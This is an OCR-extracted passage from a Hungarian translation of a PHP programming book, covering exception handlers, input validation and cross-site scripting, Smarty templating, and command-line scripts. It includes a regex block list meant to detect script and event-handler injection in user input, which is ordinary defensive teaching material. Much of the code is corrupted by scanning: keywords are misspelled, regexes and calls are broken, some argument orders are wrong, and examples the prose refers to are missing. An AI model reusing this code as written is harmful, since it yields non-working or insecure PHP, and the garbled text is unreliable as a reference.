kiszolgálómon fog futni, általában a könnyebbséget jelentő . ini beállítást részesítem
előnyben. Ha viszont olyan szoftvert készítek, amelyet mások fognak futtatni kiszolgálói-
kon, a leginkább hordozható megoldás mellett döntök. Többnyire már a projekt elején vi-
lágos, milyen megközelítést kell alkalmazni.
Az alábbi példa egy olyan alapértelmezett kivételkezelőt mutat, ami bármilyen el nem fo-
gott kivétel esetén automatikusan létrehoz egy hibaoldalt:
<?php
function redirect_on_error( $e) {
ob_end_clean();
include("error.html");
}
set_exception_handler("redirect_on__error");
ob_start();
// ...ide tetszőleges kód jöhet
?>
A kezelő tovább javítható, ha azzal a képességgel bővítjük, hogy egyes hibatípusokat kü-
lönbözőképpen kezeljen. Ha például egy AuthException kivételt váltunk ki, a felhasz-
nálót egy hibaoldal megjelenítése helyett a bejelentkező oldalra irányíthatjuk:
<?php
function redirect_on_error($e) {
ob_end_clean();
if(is_a($e, "AuthException")) {
header("Location: /login.php");
}
else {
include("error.html");
}
}
set_exception_handler("redirect_on_error");
ob_start();
// ...ide tetszőleges kód jöhet
? >
3. fejezet • Hibakezelés 103
Adatérvényesítés
A webes programozásban a hibák egyik jelentős forrása az ügyfél által megadott adatok
ellenőrzésének (érvényesítésének) elmulasztása. Az adatérvényesítés azt jelenti, hogy el-
lenőrizzük, hogy az ügyféltől kapott adatok valóban a kívánt formájúak-e. A nem érvé-
nyesített adatok kétféle jelentősebb hibát eredményezhetnek:
• adatszemetet, és
• rosszindulatúan módosított adatokat.
Az adatszemét olyan információ, ami egyszerűen nem felel meg az előírásoknak. Vegyünk
például egy felhasználói bejelentkezési űrlapot, amelyen fel kell tüntetni a földrajzi helyet.
Ha a felhasználó szabadon beírhat bármit, az állam helyén például ilyesmiket találhatunk:
Gyakori megoldás, hogy ezt a problémát lenyíló listával kerülik meg, amelyből kiválasztha-
tó az állam neve. Ez azonban csak félig oldja meg a gondot: azt megakadályozza, hogy
a felhasználó véletlenül rosszul adja meg az államot, de az ellen már nem nyújt védelmet,
ha valaki rosszindulatúan módosítja a POST adatokat, hogy nem létező beállítást adjon meg.
<?php
$STATES = a r r a y( ' a l ' => 'Alabama',
/* ... * / ,
'wy' => 'Wyoming1);
function is_valid_state($state) {
global $STATES;
return array_key_exists($STATES, $state) ;
}
?>
class User {
public id;
public name;
public city;
104 PHP fejlesztés felsőfokon
public state;
public zipcode;
public function __construct($attr = falsé) {
if($attr) {
$this->name = $attr['name'];
$this->email = $attr['email'];
$this->city = $attr['city'];
$this->state = $attr['state'];
$this->zipcode = $attr['zipcode'];
}
}
public function validateO {
if(strlen($this->name) > 100) {
throw new DataException;
}
if (strlen($this->city) > 100) {
throw new DataException;
}
if(!is_valid_state($this->state)) {
throw new DataException;
}
if(!is_valid_zipcode($this->zipcode)) {
throw new DataException;
}
}
}
?>
A validate () tagfüggvény használatba vételéhez csak létre kell hoznunk egy új User
objektumot az ellenőrizendő felhasználói adatokkal:
try {
$user->validate();
}
3. fejezet • Hibakezelés 105
Az, hogy a validate () nem egyszerűen egy true vagy falsé értéket ad vissza, hanem
egy kivételt alkalmazunk, ismét azzal az előnnyel jár, hogy ha ezen a ponton egyáltalán
nem is szeretnénk try blokkot, megtehetjük, hogy a kivételt addig továbbítjuk a hívási
láncon, amíg a megfelelő kezelőhöz nem ér.
A rosszindulatú adatok közé természetesen nem csak nem létező államok tartozhatnak.
A rossz adatokhoz kapcsolódó érvényesítési támadások legnevezetesebbikét cross-site
scripting attack (kb. „helyközi programtámadás") néven emlegetik, és abból áll, hogy
rosszindulatú HTML kódot (általában ügyfél oldali kódcímkéket, például JavaScript cím-
kéket) rejtenek el egy felhasználói űrlapon.
Itt az url a felhasználó által megadható tetszőleges adatot jelent, így beírhatnak valami
ilyesmit:
Mondanunk sem kell, hogy a weblapokon megjelenített felhasználói adatok megfelelő ér-
vényesítése létfontosságú minden webhely biztonsága szemponjából. A kiszűrni kívánt
kódcímkéket természetesen saját működési szabályaink határozzák meg; én például drá-
kói szigorral visszautasítok minden szöveges adatot, ami JavaScript lehet.
106 PHP fejlesztés felsőfokon
<?php
$UNSAFE_HTML[] = "!javascriptAs*:!is";
$UNSAFE_HTML[] = "!vbscri?pt\s*:!is";
$UNSAFE_HTML[] = "!<\s*embed.*swf!is";
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onabort\s*=!is";
$UNSAFE_HTML [ ] = " ! < [ A > ] * [ Aa-z] onblur\s*= ! is " ;
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onchange\s*=!is" ;
$UNSAFE_HTML[] = " ! < [ " > ] * [Aa-z]onfocus\s*=!is";
$UNSAFE_HTML[] = "! < [ A > ] *[Aa-z]onmouseout\s*=!is";
$UNSAFE_HTML[] = " ! < [ " > ] * [Aa-z]onmouseover\s*=!is";
$UNSAFE_HTML[] = " ! < [ A>]*[Aa-z]onload\s*=!is" ;
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onreset\s*=!is";
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onselect\s*=!is " ;
$UNSAFE_HTML[] = "!< [ A>]*[Aa-z]onsubmit\s*=!is";
$UNSAFE_HTML[] = " !< [ A>]*[Aa-z]onunload\s*=!is";
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onerror\s*=!is";
$UNSAFE_HTML[] = "!<[A>]*[Aa-z]onclick\s*=!is" ;
function unsafe_html($html) {
global $UNSAFE_HTML;
$html = html_entities($html, ENT_COMPAT, ISO-8 8 5 9 -1 );
foreach ( $UNSAFE_HTML as $match ) {
if( preg_match($match, $html, $matches) ) {
return $match;
}
}
return falsé;
}
?>
Mivel a MySQL (számos más RDBMS rendszerhez hasonlóan) támogatja több lekérdezés
egyidejű végrehajtását, a fenti érték ellenőrizetlen átadása következtében a users táblát
elveszítjük. És ez csak egy az ilyen jellegű támadások közül. A tanulság az, hogy a lekér-
dezésekben mindig minden adatot érvényesítenünk kell.
108 PHP fejlesztés felsőfokon
További olvasmányok
A helyközi támadásokkal és a rosszindulatú HTML kódokkal kapcsolatban az első számú
forrás a CERT CA-2000-02-es ajánlása, ami a www. cert. org/advisories/
CA-2 00 0-02.html címen érhető el.
• Modell - A rendszer azon belső része, amely a logika központi részét hajtja végre.
• Nézet - A rendszer valamennyi kimenetének formázásáról gondoskodó rész.
• Vezérlő - A bemenetet feldolgozó, és azt a modell felé közvetítő rész.
Az MVC eredetileg olyan gyors asztali alkalmazások fejlesztésére szolgáló módszer volt
a Smalltalk nyelvben, amelyekben egy adott folyamat többféleképpen fogadhat adatokat
és állíthat elő kimenetet. A legtöbb webes rendszer azonban egyetlen módon fogad ada-
tokat (valamilyen HTTP kérelmen keresztül), a bemenet feldolgozását pedig annak mére-
tétől függetlenül maga a PHP végzi, ezáltal nem kell törődnünk a vezérlő összetevővel.
A Smarty tisztán sablonnyelv, ezért igen egyszerű, de amint vezérlési szerkezeteket, egyé-
ni függvényeket és módosítókat kezdünk használni, hamar bonyolulttá válhat. Ha valaki
képes összetett logikát megvalósítani a Smarty-ban, az ugyanerre a PHP-ben is képes -
ami nem feltétlenül rossz dolog. A PHP maga is remekül megfelel sablonnyelvnek, hiszen
olyan eszközöket biztosít, amelyekkel a formázási és megjelenítési utasítások egyszerűen
beépíthetők a HTML kódba.
Ha olyan környezetben dolgozunk, ahol a tervezők jól ismerik a PHP-t, és az egész csapat
(beleértve a tervezőket és a fejlesztőket is) képes fegyelmezetten szétválasztani a működési
és megjelenítési kódot, formális sablonnyelvre nincs is igazán szükség. Nekem ugyan soha
nem volt gondom olyan tervezőkkel, akik ne tudtak volna mit kezdeni a HTML-be épített
PHP kódokkal, de ismerőseim között akadtak, akik szenvedtek olyan tervezőcsapattal,
amelynek tagjai nem tudták kezelni az oldalakba ágyazott PHP-t, de a Smarty-val sikeresen
megoldották a gondjaikat. Még ha a csapat tud is bánni a PHP-vel, a sablonrendszerek rá-
kényszerítik őket a megjelenítés és az alkalmazásvezérlés szétválasztására, ami jó.
Smarty
A Smarty az egyik legnépszerűbb és legszélesebb körben használt sablonrendszer a PHP
számára. Monté Ohrt és Andrej Zmijevszki dolgozták ki mint gyors és rugalmas sablon-
rendszert az alkalmazási és megjelenítési kód szétválasztásának ösztönzésére. A Smarty
a sablonfájlokban elhelyezett különleges jelek segítségével működik, melyeket tárolt PHP
programmá fordít. A fordítás a háttérben zajlik és a futás sebessége elfogadhatóan gyors.
fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló 111
A Smarty jócskán tartalmaz felesleges dolgokat is, amiket nem érdemes használnunk.
A legtöbb sablonrendszerhez hasonlóan olyan szolgáltatásokkal duzzasztották fel, ame-
lyek révén a sablonokban bonyolult kódokat helyezhetünk el. Természetesen igényeink-
től függ, mely szolgáltatásokat tiltjuk le vagy hagyjuk figyelmen kívül. (Erről a fejezetben
később még ejtünk szót.)
A Smarty telepítése
A Smarty, amelyet a http: / / smarty. php. net címről tölthetünk le, PHP osztályok hal-
mazából áll. Én gyakran használom a PEAR-t, így azt javaslom, a Smarty-t vegyük bele
a PEAR include elérési útjába. A Smarty ugyan nem PEAR projekt, de nincsenek köztük
névütközések, tehát biztonságosan elhelyezhető a PEAR hierarchiában.
/data/www/www.example.org/templates
/data/www/www.example.org/smarty_config
A Smarty belsőleg kétszintű átmeneti tárolást tartalmaz. Az első szintet az jelenti, hogy
amikor először tekintünk meg egy sablont, a Smarty tiszta PHP kódra fordítja azt, és menti
az eredményt. Ez a tárolási lépés megakadályozza, hogy a sablonkódokat az első kérelem
után is minden alkalommal fel kelljen dolgozni. A második szint, hogy a Smarty az éppen
megjelenített tartalom átmeneti tárolását is megengedi. E szint engedélyezésével a fejezet-
ben később foglalkozunk.
A lefordított sablonokat és tárolt fájlokat a webkiszolgáló írja lemezre a sablonok első fel-
használásakor, így könyvtáraikhoz annak a felhasználónak, akinek a nevében a kiszolgáló
112 PHP fejlesztés felsőfokon
/data/cachefiles/www.example.org/teinplates_c
/data/cachefiles/www.example.org/smarty_cache
require_once 'Smarty/Smarty.class.php';
<html>
<body>
Hello <?php
if(array_key_exists('name' $_COOKIE)) {
echó $_COOKIE['name'];
}
else {
echó "Stranger";
}
?>
</body>
</html>
|4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló 113
<html>
<body>
Hello {$name}
</body>
</html>
Jegyezzük meg, hogy a sablonban, illetve a hello.php-ben szereplő $name két külön-
böző változó. Ahoz, hogy a $name változó elérhető legyen a sablonban, hozzá kell ren-
delnünk a Smarty névtérhez, az alábbi kód végrehajtásával:
$smarty->assign('name', $name);
Ha a www. example. org/hello. php oldalt olyan sütitömbbel kérjük le, amely tartalmaz
name változót, a következő oldalt kapjuk:
<html>
<body>
Hello George
</body>
</html>
Amikor a hello .php-t először kérik le, és meghívódik a display (), a Smarty észreve-
szi, hogy a sablonnak nincs lefordított változata. Ezért feldolgozza a sablont, és
a benne szereplő Smarty-kódokat megfelelő PHP kódokká alakítja. Ezután az információt
a templates_c könyvtár egy alkönyvtárába menti. A hello .php lefordított sablonja
így fest:
<?php /* Smarty version 2 . 5 . 0 , created on 2003-11-16 15:31:34
compiled from hello.tpl */ ?>
114 PHP fejlesztés felsőfokon
<html>
<body>
Hello <?php echó $this-> tpl_vars['name']; ?>
</body>
</html>
Ha ezután kérelem érkezik, a Smarty megállapítja, hogy a sablonhoz már létezik lefordí-
tott változat, így újrafordítás helyett azt használja.
Ha webhelyünk egy bejegyzett felhasználója meglátogatja a hello .php oldalt, egy hivat-
kozást szeretnénk megjeleníteni az adott taghoz tartozó bejelentkező oldalra. Két lehető-
ségünk van. Az első, hogy ezt a PHP kódban végezzük el, az alábbihoz hasonló módon:
/* hello.php */
$smarty = new Smarty_ExampleOrg;
$name = array_key_exists('name', $_COOKIE) ? $_COOKIE['name'] :
** ' Stranger';
if($name == 'Stranger') {
$login_link = "Click <a href=\"/login.phpX">here</a> to login.";
} else {
$login_link = ' ' ;
}
$smarty->assign('name', $name);
$smarty->assign('login_link', $login_link);
$smarty->display('hello.tpl');
Ezután a sablonnal meg kell jelentetnünk a $login_link-et, ami lehet, hogy be sincs
állítva:
<html>
<body>
Hello {$name}.<br>
{$login_link;}
</body>
</html>
{* hello.tpl *}
<html>
<body>
Hello {$name}.<br>
{ if $narne == "Stranger" }
Click <a href="/login.php">here</a> to login.
{ /if }
</body>
</html>
/* hello.php */
$smarty = new Smarty_ExainpleOrg;
$name = array_k;ey_exists ( ' name ' , $_COOKIE) ? $_COOKIE ['name ' ] :
' Stranger';
$smarty->assign{'name', $name);
$smarty->display('hello.tpl');
<html> ^
<body>
<?php
$name = array_k;ey_exists($_COOKIE['name'])? $_COOKIE['name']:'Stranger'
?>
Hello <?php echó $name; ?>.<br><?php if($name == 'Stranger') { ?>
Click <a href="/login.php">here</a> to login.
<?php } ?>
</body>
</html>
116 PHP fejlesztés felsőfokon
Ez nem szokatlan. A nyers kódot tekintve a sablonra épülő megoldások mindig több kó-
dot tartalmaznak, mint a sablont nem használók. Az elvonatkoztatás több helyet igényel.
A sablonrendszerek célja nem az, hogy a kódtár kisebb legyen, hanem az, hogy a külön-
böző célt szolgáló kódokat szétválasszuk.
{* getenv.tpl *}
<html>
<body>
<table>
{foreach from=$smarty.env key=key item=value }
<trxtd>{$key}</tdxtd>{$value}</tdx/tr>
{/foreach}
</table>
</body>
</html>
/* getenv.php */
$smarty = new Smarty_ExampleOrg;
$smarty->display('getenv.tpl');
A fenti példában láthatjuk a „varázserejű" $ smarty változót is, ami egy társításos tömb,
melynek segítségével elérhetjük a PHP „szuperglobálisait" (például $_COOKIE, $_GET),
illetve a Smarty beállítási változóit. A szuperglobálisok elérése a $ smarty. cookie,
$smarty. get stb. formában történhet. A tömbelemekhez úgy férhetünk hozzá, hogy
egy elválasztó pont után hozzáfűzzük az elem kisbetűs nevét; a $COOKIE [ ' név' ] példá-
ul a $smarty. cookie. név formában érhető el. Ez azt jelenti, hogy a hellós példa teljes
kódját elhelyezhetjük egy Smarty sablonban:
{* hello.tpl *}
<html>
<body>
{if $smarty.cookie.name }
Hello {$smarty.cookie.name}.<br>
Click <a href="/login.php>here</a> to login.
{else}
Hello Stranger.
{/if}
</body>
</html>
4. fejezet • Megvalósítás PHP nyelven: a sablonok és a Világháló 117
/* hello.php */
$smarty = new Smarty_ExampleOrg;
$smarty->display('hello.tpl');
Egyesek ez ellen azzal érvelhetnek, hogy magában a sablonban egyáltalán nem ajánlott
működési logikát elhelyezni. Nem értek egyet velük: ha a megjelenítésből teljesen kivon-
juk a logikát, azt vagy azt jelenti, hogy a kimenet előállításához valójában nem tartozik lo-
gika (ami lehetséges, de igen valószínűtlen), vagy hogy összekevertük azt az alkalmazás-
logikával. A megjelenítési kódnak az alkalmazásba helyezése pedig nem jobb, mint az al-
kalmazáslogika beépítése a megjelenítési kódba. A sablonrendszerek használatának ép-
pen az a célja, hogy mindkét említett helyzetet elkerüljük.
Mindazonáltal a sablonokban logikát elhelyezni sok buktatót rejt. Minél több szolgáltatás
érhető el a sablonokban, annál nagyobb a kísértés, hogy maga az oldal tartalmazzon nagy
mennyiségű kódot. Amíg ez a megjelenítésre korlátozódik, tartjuk magunkat az MVC min-
tához. Ne feledjük: az MVC nem arról szól, hogy a nézetből eltávolítunk minden logikát
- a cél az, hogy a tartományra jellemző működési kódot vegyük ki belőle. A megjelenítési
és működési kód között azonban nem minden esetben könnyű különbséget tenni.
Számos fejlesztő számára nem csupán az a cél, hogy elválasszák a megjelenítést az alkal-
mazástól, hanem az, hogy a megjelenítési kód is minél kisebb legyen. Gyakran adnak
hangot azon igényüknek, hogy a tervezőket távol szeretnék tartani a PHP kódtól, mintha
a tervezők képtelenek lennének megtanulni a PHP-t, vagy nem lehetne megbízni bennük
a PHP programozást illetően. A Smarty ezt a problémát nem oldja meg. Bármely sablon-
nyelv, amely lehetőséget ad bonyolult logika megvalósítására, elég vastag kötél ahhoz,
hogy felkössük magunkat, ha nem vigyázunk.
{* header.tpl *}
<html>
<head>
<title>{$title}</title>
{if $css}
<link rel="stylesheet" type="text/css" href="{$css}" />
{/if}
118 PHP fejlesztés felsőfokon
</head>
<body>
{* footer.tpl *}
<!-- Copyright © 2003 George Schlossnagle. Somé rights
reserved. -->
</body>
</html>
Ha ezután egy sablonban fejlécre vagy láblécre van szükség, a következőképpen építjük
be azokat:
{* hello.tpl *}
{include file="header.tpl"}
Hello {$name}.
{include file="footer.tpl"}
A Smarty támogatja a php függvényt is, melynek segítségével sablonon belüli PHP-kódot
írhatunk. Ezzel az alábbihoz hasonlót hajthatunk végre:
{* hello.tpl *}
{include file="header.tpl"}
Hello {php}print $_GET['name'];{/php}
{include file="footer.tpl"}
A php kódcímke maga a megtestesült gonosz: ha nyers PHP-t alkalmazó sablont akarunk
írni, írjuk meg PHP-ben, ne a Smarty-ban. A nyelvek keverése egyetlen dokumentumon
belül szinte soha nem jó ötlet. Feleslegesen bonyolítja az alkalmazást, és megnehezíti,
hogy megállapítsuk, hol található egy adott szolgáltatás megvalósítása.
{mailto address="george@omniti.com}
<a href="mailto:george@omniti.com">george@omniti.com</a>
Megjegyzés
/* list_templates.php */
$ smarty = new Smarty_ExainpleOrg;
$smartY->register_function{'create_table', 'create_table']
$data = array(array('filename', ' b y t e s ' ) ) ;
$files = scandir($smarty->template_dir);
foreach($files as $file) {
$stat = stat("$smarty->template_dir/$file");
$data[] = array($file, $stat['size']);
}
$smarty->assign('file_array', $data);
$smarty->display{'list_templates.tpl'
120 PHP fejlesztés felsőfokon
{$textInl2br}
$smarty->register_modifier('encode' , 'urlencode');
$smarty->cache = true;
Legyünk óvatosak: a Smarty nem rendelkezik beépített szemétgyűjtéssel, így minden tá-
rolt oldal egy fájlt jelent a tároló fájlrendszerben. Ez lehetőséget teremt a véletlen vagy
szándékos túlterhelésre (denial-of-service, vagyis túlterheléses támadásra), amikor is tárolt
oldalak ezrei gyűlnek fel a rendszerben. Ehelyett azt javasoljuk, hogy viszonylag kevés ér-
téket felvehető kulcs alapján válasszuk ki a tárolandó tartalmat.
A dinamikus tartalmú fájlok átmeneti tárolásának még jobb módja, ha mindent tárolunk,
kivéve a dinamikus tartalmat. Ilyen kódot szeretnénk használni a sablonjainkban:
{* homepage.tpl *}
{* tárolható statikus tartalom *}
{nocache}
Hello {$name}!
{/nocache}
{* egyéb statikus tartalom *}
$smarty->register_block('nocache', 'nocache_block', fa l s é ) ;
Az alapelv az, hogy olyan sablonokat írjunk, amelyek hasonlóak a lefordított Smarty sab-
lonokhoz, íme egy egyszerű osztály, amely a sablonok feldolgozását kezeli:
class Template {
public $template_dir;
function display( $ f i l e ) {
$template = $this;
// elnyomjuk a nem létező változókra figyelmeztető üzeneteket
error_reporting(E_ALL ~ E_NOTICE);
include("$this->template_dir.$file");
}
}
<html>
<titlex?php echó $template->title; ?></title>
<body>
Hello <?php echó $template->name; ?>!
</body>
</html>
Mivel a sablonokat az include () PHP függvénnyel hajtjuk végre, tetszőleges PHP kódot
tartalmazhatnak, így akár a teljes megjelenítési logika megvalósítható PHP nyelven.
Ha például egy olyan fejlécállományt szeretnénk készíteni, ami CSS stíluslapokat tölt be
egy tömbből, az alábbi kódot írhatjuk:
<!-- header.tpl -->
<html>
<headxtitlex?php echó $template->title ?x/title>
<?php foreach ($template->css as $link) { ?>
<link rel="stylesheet" type="text/css" href="<?php echó $link ?>"" />
<?php } ?>
</head>
Ez a PHP-nek teljesen rendben levő használata egy sablonban, mert világos, hogy tisztán
megjelenítési, nem pedig alkalmazáskódról van szó. Logikát helyezni a sablonokba nem
elítélendő dolog, sőt, bármilyen összetettebb választás, amit a megjelenítés számára bizto-
sítunk, logikát igényel. A lényeg az, hogy a sablonokban a megjelenítési kód kapjon he-
lyet, míg a működési kódot helyezzük a sablonokon kívül.
További olvasmányok
A fejezetben alig kapargattuk meg a felszínt a Smarty képességeivel kapcsolatban, de kitű-
nő dokumentációt találunk a Smarty webhelyén, a http: / / smarty. php . net címen.
Ha nem ismerjük a CSS (Cascading Style Sheets, többszintű stíluslapok) használatát, érde-
mes megtanulnunk. A CSS rendkívül erőteljes eszközt nyújt a HTML oldalak formázására
a mai böngészőkben; segítségével megszabadulhatunk minden FONT vagy TABLE kód-
címkétől. A CSS leírás főoldala a http: / /www. w3 . org/Style/CSS címen található.
Danny Goodman könyve, a Dynamic HTML: The Definüive Reference, kitűnő gyakorlati
útmutató a HTML, a CSS, a JavaScript, és a Document Object Model (DOM) használatához.
Megvalósítás PHP nyelven:
önálló programok
Ez a fejezet azt írja le, hogyan hasznosíthatunk meglevő kódkönyvtárakat, hogy felügyele-
ti feladatokat hajtsunk végre PHP kóddal, illetve hogyan írhatunk önálló vagy parancssori
programokat. Emellett bemutatunk néhány paradigmákat áthágó projektet, amelyek lehe-
tővé tették a PHP használatát a webes környezeten kívül is.
Annak, hogy részt vehettem a PHP fejlesztésében, számomra az volt az egyik legizgalma-
sabb vonása, hogy láthattam, amint a nyelv (a PHP 3 idején és azelőtt) egyszerű webes
parancsfájlkészítő nyelvből sokoldalú, erőteljes nyelvvé válik, ami mellesleg kitűnő telje-
sítményt nyújt a webprogramozásban.
Annak, hogy egy nyelv kimondottan egy adott területre szakosodik, a következő előnyei
vannak:
Legyünk gyakorlatiasak!
Dávid Thomas és Andrew Hunt kitűnő könyve, a The Pragmatic Programmer: From
Journeyman to Master azt ajánlja, hogy a profi programozók legalább egy új nyelvet ta-
nuljanak meg évente. Teljes szívemből egyetértek ezzel a tanáccsal, de gyakran azt látom,
hogy félreértik. Számos cég kódtára „skizofrén": különböző nyelveken írt alkalmazásokat
tartalmaz, csak azért, mert a fejlesztő, aki írta őket, éppen az X nyelvet tanulta, és úgy
gondolta, ez jó gyakorlási lehetőség számára. Különösen igaz ez akkor, ha a cég vezető
fejlesztője kifejezetten ügyes és lelkes, és könnyedén bánik több nyelvvel.
A gond az, hogy hiába vagyunk képesek egyszerre Python, Perl, PHP, Ruby, Java, C++ és
C# nyelven programozni, munkatársaink nagy része nem tud követni minket, ráadásul
tonnányi ismétlődő kód keletkezik. Szinte biztos például, hogy ugyanazt az alapvető adat-
bázis-elérési könyvtárat minden nyelven meg kell írnunk. Ha szerencsések és előrelátóak
vagyunk, legalább a könyvtárak felülete (API) ugyanaz lesz, de ha nem, többé-kevésbé
különböző könyvtárakat kapunk, a fejlesztők pedig szenvedhetnek a rengeteg hibától,
ami abból adódik, hogy Python API-hoz kell programozniuk PHP nyelven.
Új nyelveket tanulni hasznos dolog; én magam is próbálom követni Thomas és Hunt taná-
csát. Nyelveket tanulni fontos, mert tágítja látókörünket, edzésben tart és új ötleteket ad.
Az ötleteket és módszereket érdemes átmenteni tanulmányainkból, de óvakodjunk attól,
hogy munkánkat mindig újabb nyelvekre építsük.
Tapasztalataim szerint az ideális nyelv kellően specializált ahhoz, hogy az adott munka lé-
nyegéhez igazodjon, de elég általános a mellékes feladatok megoldására is. A PHP a web-
programozás során felmerülő igények legtöbbjét képes kielégíteni. Fejlesztési modellje hű
maradt a gyökerekhez, a beágyazott webes programokhoz. Használatának egyszerűsége
5. fejezet • Megvalósítás PHP nyelven: önálló programok 129
Vajon a PHP a legjobb nyelv a háttérben futó beágyazott programok számára? Ha nagy
API-val rendelkezünk, amelyet számos üzleti alkalmazásban használunk, az a képesség,
hogy a webes környezet kódjait összeolvaszthatjuk és újrahasznosíthatjuk, hihetetlenül ér-
tékes. Ez az érték még azt a tényt is elhomályosítja, hogy a Perl és a Python érettebb pa-
rancsnyelvek.
#!/usr/bin/env php
> ./phpscript.php
• stdin - A szabványos bemenet („standard in" vagy „standard input") minden ada-
tot elfog, amit a terminálon keresztül bevisznek.
• stdout - A szabványos kimenet („standard out" vagy „standard output") közvetle-
nül a képernyőre kerül (ha a kimenetet átirányítjuk egy másik programhoz, az an-
nak a szabványos bemenetén — stdin — jelenik meg). A print vagy az echó pa-
rancs kiadásakor egy PHP CGI vagy CLI (Command-Line Interface, vagyis parancs-
soros) programban az adatok a stdout-ra kerülnek.
• stderr - A szabványos hibaüzenet („standard error") is a felhasználó termináljára
kerül, de nem a stdin fájlleírón keresztül. Ha egy program stderr-t állít elő, az
nem íródik egy másik program stdin fájlleírójába, hacsak nem alkalmazunk kime-
netátirányítást.
• STDIN
• STDOUT
• STDERR
Ezen állandók használata egyenértékű azzal, mintha az adatfolyamokat saját kezűleg nyit-
nánk meg. (Ha a PHP CGI-változatát futtatjuk, ezt is kell tennünk.) Az adatfolyamok meg-
nyitásának módja a következő:
Bár értelmetlennek tűnhet a STDOUT fájlleíróként való használata, amikor a print vagy az
echó paranccsal közvetlen kiírást is végezhetünk, valójában igen kényelmes. A STDOUT le-
hetővé teszi, hogy kimeneti függvényeket írjunk, amelyek egyszerűen adatfolyam erőforrá-
sokat kapnak, hogy könnyen válthassunk aközött, hogy a kimenetet a felhasználó termi-
náljára, HTTP folyamon keresztül egy távoli kiszolgálóra, vagy egy másik kimeneti adatfo-
lyamon át bárhová máshová küldjük.
5. fejezet • Megvalósítás PHP nyelven: önálló programok 131
A STDOUT hátránya, hogy nem használhatjuk ki a PHP kimeneti szűrőinek, illetve a kime-
net átmeneti tárolásának előnyeit, de saját folyamszűrőket bejegyeztethetünk
a streams_f ilter_register () függvénnyel.
íme egy rövid program, amely beolvas egy fájlt a stdin-ről, sorszámmal látja el a soro-
kat, az eredményt pedig a stdout-ra küldi:
#! /usr/bin/env php
<?php
$lineno = 1;
wh i l e ( ( $ l i n e = fgets(STDIN)) != falsé) {
fputs(STDOUT, "$lineno $ l i n e " ) ;
$lineno++;
}
?>
1 #!/usr/bin/env php
2 <?php
3
4 $lineno = 1;
5 while(($line = fgets(STDIN)) != falsé) {
6 fputs(STDOUT, "$lineno $line");
7 $lineno++;
8 }
9 ?>
<?php
$counts = array('ip' => array(), 'user_agent' => array());
while(($line = fgets(STDIN)) != falsé) {
# Ez a szabályos kifejezés mezőről mezőre illeszti a napló sorait.
$regex = '/A(\S+) (\S+) (\S+) \[([A:]+):(\d+:\d+:\d+) ([A\]]+)\] '•
'•(\S+) (.*?) (\s+)" (\s+) (\s+) »([-'•]*)" "([""]*)"$/';
preg_match($regex,$line,$matches);
list(, $ip, $ident_name, $remote_user, $date, $time,
$gmt_off, $method, $url, $protocol, $code,
$bytes, $referrer, $user_agent) = $matches;
$counts['ip']["$ip"]++;
132 PHP fejlesztés felsőfokon
$counts['user_agent']["$user_agent"]++;
# Minden ezredik feldolgozott sor után kiírunk egy ' . ' jelet.
if ( ($lineno + + % 1000) == 0) {
fwrite(STDERR, ".");
}
}
arsort($counts['ip'] , SORT_NUMERIC) ;
reset($counts['ip']);
arsort($counts['user_agent'], SORT_NUMERIC);
reset($counts['user_agent' ] ) ;
A program úgy működik, hogy beolvassa a STDIN-ről a naplófájlt, minden sorát a $regex-
hez illeszti, hogy kinyerje az egyes mezőket, majd összegzést készít, megszámolva az egyedi
IP címekre, illetve az egyes böngészőkre eső kérelmek számát. Mivel a kombinált formátumú
naplófájlok nagyméretűek, ezer soronként egy pontot küldünk a stderr-re, hogy jelezzük,
hol tart a feldolgozás. Ha a program kimenetét egy fájlba irányítjuk, a jelentés oda íródik,
a pontok viszont a felhasználó képernyőjén jelennek meg.
#!/usr/bin/env php
<?php
print_r($argv);
?>
5. fejezet • Megvalósítás PHP nyelven: önálló programok 133
Array
(
[0] = > dump_argv.php
[1] => foo
[2] => bar
[3] => barbára
)
A beállítások (kapcsolók) közvetlenül az $argv változóból való beolvasása nem túl ké-
nyelmes, mert megköveteli, hogy azokat egy adott sorrendbe tegyük. A kézi feldolgozás-
nál hatékonyabb megoldást nyújthat a PEAR Console_Getopt csomagja, amely egysze-
rű felületet biztosít a parancssori kapcsolók könnyebben kezelhető tömbbé alakítására.
Az egyszerű feldolgozás mellett a Console_Getopt mind a rövid, mind a hosszú kap-
csolókat kezeli, és alapszintű ellenőrzéseket is végez, hogy a beállításokat biztosan
a megfelelő formában kapjuk meg.
A rövid kapcsolók egy betűből és az esetleges adatokból állnak. A rövid kapcsolók formá-
tumleírója egy, a megengedett elemekből álló karakterlánc. A kapcsoló betűjét egy kettős-
pont követheti, amellyel azt jelezzük, hogy a kapcsoló paramétert igényel, illetve két ket-
tőspont, ami arra utal, hogy a paraméter nem kötelező.
A hosszú kapcsolók teljes szavak tömbjéből állnak (például --help). Ha utánuk egyenlő-
ségjel áll, azzal azt jelezzük, hogy a kapcsoló paramétert vár, ha pedig két egyenlőségjel,
a paraméter nem kötelező.
Ha azt szeretnénk, hogy egy program paraméterek nélkül elfogadja a -h és a --help kap-
csolókat, míg a --filé kapcsolót egy kötelező paraméterrel, az alábbi kódot kell írnunk:
require_once "Console/Getopt.php";
$shortoptions = "h";
$longoptons = array("file=", "help");
134 PHP fejlesztés felsőfokon
A getopt () visszatérési értéke egy tömb, ami egy kétdimenziós tömböt tartalmaz. Az első
belső tömbben találhatók a rövid kapcsoló argumentumok, míg a másodikban a hosszú
kapcsolók. A Console_Getopt: : readPHPARGV () segítségével az $argv változót is be-
vonhatjuk (ha például a php. ini állományban a register_argc_argv értéke of f).
Ha egy kapcsolót többször adunk át, a hozzá tartozó érték az összes beállított érték tömb-
je lesz, ha pedig paraméter nélkül, a true logikai értéket kapja. A függvény alapértelme-
zett paraméterlistát is elfogad, amelyre akkor támaszkodik, ha nem adunk át mást.
$shortoptions = "h";
$longoptions = array("file=", " h el p " ) ;
Ha ezt a -h --f ile=error. log paraméterekkel futtatjuk, a $ret tömb szerkezete a kö-
vetkező lesz:
Array
(
[h] => 1
[ -- fi l é ] => error.log
)
Amikor a pcntl_f ork () -ot meghívjuk egy programban, új folyamat jön létre, és a hívás
helyétől folytatja a program végrehajtását. Az eredeti folyamat ugyanonnan szintén folytat-
